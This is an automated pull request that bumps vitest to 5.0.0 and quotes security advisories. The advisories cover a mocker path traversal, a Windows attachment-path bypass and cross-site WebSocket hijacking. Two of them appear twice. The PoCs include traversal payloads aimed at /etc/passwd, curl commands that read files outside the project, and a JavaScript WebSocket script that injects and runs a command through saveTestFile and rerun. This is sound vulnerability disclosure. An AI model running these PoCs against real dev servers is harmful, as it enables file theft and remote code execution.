๐จ [security] Update vitest 2.1.9 โ 5.0.0 (major)
๐จ Your current dependencies have known security vulnerabilities ๐จ
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.
What changed?
โณ๏ธ vitest (2.1.9 โ 5.0.0) ยท Repo
Security Advisories ๐จ
๐จ Vitest: Path Traversal / Arbitrary File Read via @vitest/mocker Redirect Mock
Summary
@vitest/mockerregisters a redirect mock's target path without validating it
against the dev server's file-serving allowlist. An attacker who can reach the
dev server's WebSocket can register a redirect mock pointing outside the project
root; when the mocked module is requested, the plugin'sloadhook returns
readFile(<attacker path>)as the module source, disclosing local files.This is exploitable without authentication only through the public
mockerPlugin/ standaloneinterceptorPluginexports (used by third-party dev
servers), which register the handler on Vite's unauthenticated HMR socket.
Vitest's own browser mode registers mocks over a token-authenticated RPC and
is not remotely reachable by default (see Scope).Affected code
packages/mocker/src/node/interceptorPlugin.ts.The
loadhook is the file-read sink:if (mock.type === 'redirect') { return readFile(mock.redirect, 'utf-8') }
mock.redirectis derived from client input at registration time with no
boundary check:if (event.type === 'redirect') { const redirectUrl = new URL(event.redirect) event.redirect = join(server.config.root, redirectUrl.pathname) } registry.register(event)There is no
server.fs.allow/server.fs.denycheck and no assertion that the
resolved path stays within the project root.Registration paths and trust boundaries
- Public
mockerPlugin/interceptorPlugin(unauthenticated). In
configureServer, the plugin registersserver.ws.on('vitest:interceptor:register', โฆ)
on Vite's HMR WebSocket. That socket performs no token, Origin, or same-origin
check, so any client that can reach it can register a redirect mock. This is
the path the "unauthenticated" impact applies to.- Vitest browser mode (authenticated). Mocks register over the browser RPC
(registerMock), which sits behind a per-run token (isValidApiRequest, a
randomapi.token). The interceptor'sconfigureServersocket is not used for
registration here (in v5 it does not run at all, as the plugin is injected per
environment). The same missing boundary check exists on the authenticated RPC
path, but reaching it requires the token, so it is not a remote-unauthenticated
read.Path handling
new URL(redirect).pathnamecombined withjoin(root, pathname)does not
confine reads to the root:
- Special/hierarchical schemes (
file:,http:) are normalized by WHATWG URL,
so..segments are collapsed and the result stays under the root. Payloads of
the formfile:///../../etc/passwddo not escape.- A non-special (opaque) scheme preserves
..inpathname, so
join(root, "../../โฆ/etc/passwd")resolves outside the root and reads an
arbitrary file.Even without escaping the root, the missing
server.fscheck allows reading any
in-root file the dev server would otherwise refuse to serve (for example an
in-root.envor source that is denied byserver.fs.deny).Scope / preconditions
- This is a development-server issue. The dev server binds to
localhostby
default and is not reachable from the network unless the developer exposes it
(server.host/0.0.0.0, a LAN bind, or a proxy).- A raw (non-browser) client against a reachable server bypasses browser origin
and CORS protections entirely and can both register the mock and read the
response.- A browser-based drive-by against a localhost server is substantially mitigated
by Vite defaults: the default CORS origin allowlist is limited tolocalhost
origins, andserver.allowedHostsblocks DNS-rebinding, so a cross-origin page
cannot read the file contents back.Impact
Disclosure of local files readable by the dev-server process (source, in-root
.env/secrets, and, via the opaque-scheme payload, files outside the project
root). No integrity or availability impact.Affected versions
Present since
@vitest/mockerwas introduced.
- Affected:
@vitest/mocker>= 2.1.0 (shipped invitestand
@vitest/browser>= 2.1.0), through 4.1.x and the 5.0.0 pre-releases.- Fixed: Vitest 4.1.11 and 5.0.0. Older majors (2.1.x, 3.x) are not
maintained and are not planned to receive the fix.Fix
Validate the resolved redirect target against Vite's file-serving allowlist
(isFileLoadingAllowed) before registering it, at every registration site, and
stop registering the interceptor WebSocket events in Vitest's browser mode
(mocks there flow through the authenticated RPC).
๐จ Vitest: Path Traversal / Arbitrary File Read via @vitest/mocker Redirect Mock
Summary
@vitest/mockerregisters a redirect mock's target path without validating it
against the dev server's file-serving allowlist. An attacker who can reach the
dev server's WebSocket can register a redirect mock pointing outside the project
root; when the mocked module is requested, the plugin'sloadhook returns
readFile(<attacker path>)as the module source, disclosing local files.This is exploitable without authentication only through the public
mockerPlugin/ standaloneinterceptorPluginexports (used by third-party dev
servers), which register the handler on Vite's unauthenticated HMR socket.
Vitest's own browser mode registers mocks over a token-authenticated RPC and
is not remotely reachable by default (see Scope).Affected code
packages/mocker/src/node/interceptorPlugin.ts.The
loadhook is the file-read sink:if (mock.type === 'redirect') { return readFile(mock.redirect, 'utf-8') }
mock.redirectis derived from client input at registration time with no
boundary check:if (event.type === 'redirect') { const redirectUrl = new URL(event.redirect) event.redirect = join(server.config.root, redirectUrl.pathname) } registry.register(event)There is no
server.fs.allow/server.fs.denycheck and no assertion that the
resolved path stays within the project root.Registration paths and trust boundaries
- Public
mockerPlugin/interceptorPlugin(unauthenticated). In
configureServer, the plugin registersserver.ws.on('vitest:interceptor:register', โฆ)
on Vite's HMR WebSocket. That socket performs no token, Origin, or same-origin
check, so any client that can reach it can register a redirect mock. This is
the path the "unauthenticated" impact applies to.- Vitest browser mode (authenticated). Mocks register over the browser RPC
(registerMock), which sits behind a per-run token (isValidApiRequest, a
randomapi.token). The interceptor'sconfigureServersocket is not used for
registration here (in v5 it does not run at all, as the plugin is injected per
environment). The same missing boundary check exists on the authenticated RPC
path, but reaching it requires the token, so it is not a remote-unauthenticated
read.Path handling
new URL(redirect).pathnamecombined withjoin(root, pathname)does not
confine reads to the root:
- Special/hierarchical schemes (
file:,http:) are normalized by WHATWG URL,
so..segments are collapsed and the result stays under the root. Payloads of
the formfile:///../../etc/passwddo not escape.- A non-special (opaque) scheme preserves
..inpathname, so
join(root, "../../โฆ/etc/passwd")resolves outside the root and reads an
arbitrary file.Even without escaping the root, the missing
server.fscheck allows reading any
in-root file the dev server would otherwise refuse to serve (for example an
in-root.envor source that is denied byserver.fs.deny).Scope / preconditions
- This is a development-server issue. The dev server binds to
localhostby
default and is not reachable from the network unless the developer exposes it
(server.host/0.0.0.0, a LAN bind, or a proxy).- A raw (non-browser) client against a reachable server bypasses browser origin
and CORS protections entirely and can both register the mock and read the
response.- A browser-based drive-by against a localhost server is substantially mitigated
by Vite defaults: the default CORS origin allowlist is limited tolocalhost
origins, andserver.allowedHostsblocks DNS-rebinding, so a cross-origin page
cannot read the file contents back.Impact
Disclosure of local files readable by the dev-server process (source, in-root
.env/secrets, and, via the opaque-scheme payload, files outside the project
root). No integrity or availability impact.Affected versions
Present since
@vitest/mockerwas introduced.
- Affected:
@vitest/mocker>= 2.1.0 (shipped invitestand
@vitest/browser>= 2.1.0), through 4.1.x and the 5.0.0 pre-releases.- Fixed: Vitest 4.1.11 and 5.0.0. Older majors (2.1.x, 3.x) are not
maintained and are not planned to receive the fix.Fix
Validate the resolved redirect target against Vite's file-serving allowlist
(isFileLoadingAllowed) before registering it, at every registration site, and
stop registering the interceptor WebSocket events in Vitest's browser mode
(mocks there flow through the authenticated RPC).
๐จ When Vitest UI server is listening, arbitrary file can be read and executed
Summary
Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.
Impact
Only users that match either of the following conditions are affected:
- explicitly exposes the Vitest UI server to the network (using
--api.hostorapi.hostconfig option)- running the Vitest UI or Browser Mode on Windows
Details
The API handler for
/__vitest_attachment__uses the deprecatedisFileServingAllowedincorrectly.
vitest/packages/ui/node/index.ts
Line 77 in eb1abf0
The function expects the passed value to usecleanUrlafter the check before file system related operation.
Because of this, it is possible to bypass the check by\\?\\..\\. This is not possible on Linux as Linux errors if a directory named?does not exist.A similar problem exists in other places as well.
vitest/packages/vitest/src/api/setup.ts
Lines 103 to 105 in eb1abf0
vitest/packages/vitest/src/api/setup.ts
Lines 119 to 121 in eb1abf0
vitest/packages/browser/src/node/commands/fs.ts
Lines 10 to 11 in eb1abf0
vitest/packages/browser/src/node/plugin.ts
Lines 194 to 196 in eb1abf0
vitest/packages/browser/src/node/rpc.ts
Lines 115 to 121 in eb1abf0
That said, this
isFileServingAllowedcheck does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file usingsaveTestFileand running it usingrerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there'rereadFile/writeFile/saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.PoC
- Run Vitest UI
- Get the API token by
curl http://localhost:51204/__vitest__/- Run
curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&contentType=text/plain&token=$TOKEN"(TOKEN is the API token)- curl shows the content of
secret.txtthat is outside the project directoryMitigations
Vitest now ships two configuration flags,
allowWriteandallowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhosthost, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See
browser.api.Users who require the full interactive UI on a networked host must explicitly opt in by setting
allowWriteand/orallowExectotrue.
๐จ When Vitest UI server is listening, arbitrary file can be read and executed
Summary
Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.
Impact
Only users that match either of the following conditions are affected:
- explicitly exposes the Vitest UI server to the network (using
--api.hostorapi.hostconfig option)- running the Vitest UI or Browser Mode on Windows
Details
The API handler for
/__vitest_attachment__uses the deprecatedisFileServingAllowedincorrectly.
vitest/packages/ui/node/index.ts
Line 77 in eb1abf0
The function expects the passed value to usecleanUrlafter the check before file system related operation.
Because of this, it is possible to bypass the check by\\?\\..\\. This is not possible on Linux as Linux errors if a directory named?does not exist.A similar problem exists in other places as well.
vitest/packages/vitest/src/api/setup.ts
Lines 103 to 105 in eb1abf0
vitest/packages/vitest/src/api/setup.ts
Lines 119 to 121 in eb1abf0
vitest/packages/browser/src/node/commands/fs.ts
Lines 10 to 11 in eb1abf0
vitest/packages/browser/src/node/plugin.ts
Lines 194 to 196 in eb1abf0
vitest/packages/browser/src/node/rpc.ts
Lines 115 to 121 in eb1abf0
That said, this
isFileServingAllowedcheck does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file usingsaveTestFileand running it usingrerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there'rereadFile/writeFile/saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.PoC
- Run Vitest UI
- Get the API token by
curl http://localhost:51204/__vitest__/- Run
curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&contentType=text/plain&token=$TOKEN"(TOKEN is the API token)- curl shows the content of
secret.txtthat is outside the project directoryMitigations
Vitest now ships two configuration flags,
allowWriteandallowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhosthost, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See
browser.api.Users who require the full interactive UI on a networked host must explicitly opt in by setting
allowWriteand/orallowExectotrue.
๐จ Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
Details
When
apioption is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
vitest/packages/vitest/src/api/setup.ts
Lines 32 to 46 in 9a581e1
This WebSocket server has
saveTestFileAPI that can edit a test file andrerunAPI that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by thesaveTestFileAPI and then running that file by calling thererunAPI.
vitest/packages/vitest/src/api/setup.ts
Lines 66 to 76 in 9a581e1
PoC
- Open Vitest UI.
- Access a malicious web site with the script below.
- If you have
calcexecutable inPATHenv var (you'll likely have it if you are running on Windows), that application will be executed.// code from https://github.com/WebReflection/flatted const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({}); // actual code to run const ws = new WebSocket('ws://localhost:51204/__vitest_api__') ws.addEventListener('message', e => { console.log(e.data) }) ws.addEventListener('open', () => { ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] })) const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles" // edit file content to inject command execution ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "saveTestFile", a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"] })) // rerun the tests to run the injected command execution code ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "rerun", a: [testFilePath] })) })Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.